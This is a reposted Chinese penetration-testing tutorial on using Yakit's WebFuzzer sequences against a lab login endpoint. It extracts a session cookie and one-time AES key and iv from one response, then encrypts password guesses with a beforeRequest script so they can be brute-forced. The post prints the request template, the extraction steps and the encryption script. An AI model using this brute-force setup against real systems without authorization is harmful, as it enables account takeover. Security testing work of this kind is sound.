通过WebFuzzer序列,爆破一次性key和iv的加密数据包

admin 2025-12-29 00:46:07 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了利用Yakit的WebFuzzer序列功能爆破后端一次性AESkey和iv数据包的方法。通过序列组合请求包,使用数据提取器获取Cookie、key及iv并开启变量继承。借助热加载脚本beforeRequest实现AES-CBC加密与Base64编码,动态修改请求体内容。该方案有效解决了服务端动态生成密钥的爆破难题,提升了复杂加密接口的测试效率。 综合评分: 90 文章分类: WEB安全,渗透测试,实战经验,安全工具


cover_image

通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包

原创

进击的hack

进击的HACK

2025年4月5日 07:50 江苏

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途给予盈利等目的,否则后果自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


序列

什么是Web Fuzzer 序列? Web Fuzzer 序列就是将多个 Web Fuzzer 节点(类似于burpsuite repeater模块的请求包)串联起来,实现更复杂的逻辑与功能。例如我们需要先进行登录,然后再进行其他操作,这时候我们就可以使用 Web Fuzzer 序列功能。

本篇文章,通过使用Web Fuzzer 序列,解决数据包随机AES key和iv的问题。适用于后端返回key和iv的场合,不管是多次使用还是一次使用都可以。

官方资料

  • • 序列前置知识之高级配置
  • • Web Fuzzer序列基础
  • • 高级配置

在什么状况使用

以下图的AES服务端获取Key举例,加密流程如下:

  1. 1. 发送请求包,请求key和iv,其中key和iv与PHPSESSID绑定
  2. 2. 浏览器进行AES加密
  3. 3. 发送加密后的数据到后端

这里的key和iv与PHPSESSID绑定,也就是说我们一直用同样的cookie就能像之前文章的那样,进行fuzzer。这样比较简单,我们讨论更进一步的情况。

假设key和iv都是一次性的,那么我们要对账号密码进行爆破的时候,就需要从数据包1中获取cookie、key和iv,然后加密后从数据包2发送过去。 完成这个步骤需要两个数据包,这时,我们就可以使用序列。

序列使用

步骤如下:

  1. 1. 点击序列,将 4和8 放入序列组合中
  2. 2. step0 放入 4
  3. 3. step1 放入 8

点击开始执行,获取响应包,我们后续配置需要

我们要通过数据提取器,提取三个部分

其中,Set-cookie,已经在默认变量中了,我们点击预览可以看到

set_cookie

选择变量继承,我们在step1中就能使用变量了

Cookie: {{param(set_cookie)}}

查看history中的插件流量,能够看到此处变量已经改变

接下来是提取key和iv,我们可以采用JQ

教程:https://jqlang.github.io/jq/manual/

.["aes_key"]

.["aes_iv"]

提取结果 添加条件,提取两个

不要将两个放在同一个变量下(比如data_0),这样操作会让yakit将data_0看成是一个可fuzzer的对象,你也不能按照你所想的把这些值提取出来。

点击调试执行,查看结果

点击应用,数据提取器显示如下

如何调用呢? 如果是在请求包中使用,和调用cookie一样

{{param(data_0)}}
{{param(data_1)}}

可以看到成功提取了

当然上面只是演示,并不是我们真正想要的,我们想要的是aes加密然后爆破

beforeRequest = func(https, originReq, req) {
    // 我们可以将请求进行一定的修改
    postParams = poc.GetAllHTTPPacketPostParams(req /*type: []byte*/)
    aes_key = postParams["key"]
    aes_iv = postParams["iv"]
    req_result = poc.DeleteHTTPPacketPostParam(req /*type: []byte*/, "key" /*type: string*/)
    req_result = poc.DeleteHTTPPacketPostParam(req_result /*type: []byte*/, "iv" /*type: string*/)
    // 将修改后的请求返回
    return []byte(req_result)
}

配置加解密

请求包

POST /encrypt/aesserver.php HTTP/1.1
Host: 192.168.56.32:82
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json
Referer: http://192.168.56.32:82/
Accept-Encoding: gzip, deflate
Cookie: {{param(set_cookie)}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Origin: http://192.168.56.32:82
Accept: */*
Content-Length: 84

{"encryptedData":"{{payload(pass_top25)}}","key":"{{param(data_0)}}","iv":"{{param(data_1)}}"}

热加载

// beforeRequest 允许在每次发送数据包前对请求做最后的处理,定义为 func(https bool, originReq []byte, req []byte) []byte
// https 请求是否为https请求
// originReq 原始请求
// req 请求
beforeRequest = func(https, originReq, req) {
    postParams = poc.ExtractPostParams(req)~

    aes_key = postParams["key"]
    aes_iv = postParams["iv"]
    encryptedData = postParams["encryptedData"]

    key = codec.DecodeBase64(aes_key)~
    iv = codec.DecodeBase64(aes_iv)~

    data = {"username":"admin","password":encryptedData}
    params_en = codec.AESCBCEncryptWithPKCS7Padding(key /*type: []byte*/, json.dumps(data), iv /*type: []byte*/)~
    data2 = codec.EncodeBase64(params_en)
    req = poc.ReplaceHTTPPacketJsonBody(req, {"encryptedData":data2}) // 修改请求体内容为{"a":"b"}

    // 将修改后的请求返回
    return []byte(req)
}

这里用了内置的AES加密工具,当然,如果遇到魔改的AES,可以参考之前写的jsRpc调用,通过浏览器进行加密。

结果展示

成功fuzz

参考资料

  • • yakit官方教程

欢迎关注~


往期推荐

yakit 调用jsRpc加解密,免去抠代码补环境

代码审计 | 一次JWT任意用户登录审计

Yakit JWT Token 弱口令枚举

yakit 弱口令爆破与未授权检测

yakit 验证码识别 进行webfuzzer

yakit 安装和初次使用

数据库自动取样工具DataMiner

burpsuite指纹识别插件合集

如何最大限度的利用poc发现漏洞

工具推荐 | P1finger 重点资产指纹识别工具


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:进击的HACK 进击的hack《通过Web Fuzzer 序列,爆破一次性key和iv的加密数据包》

评论:0   参与:  0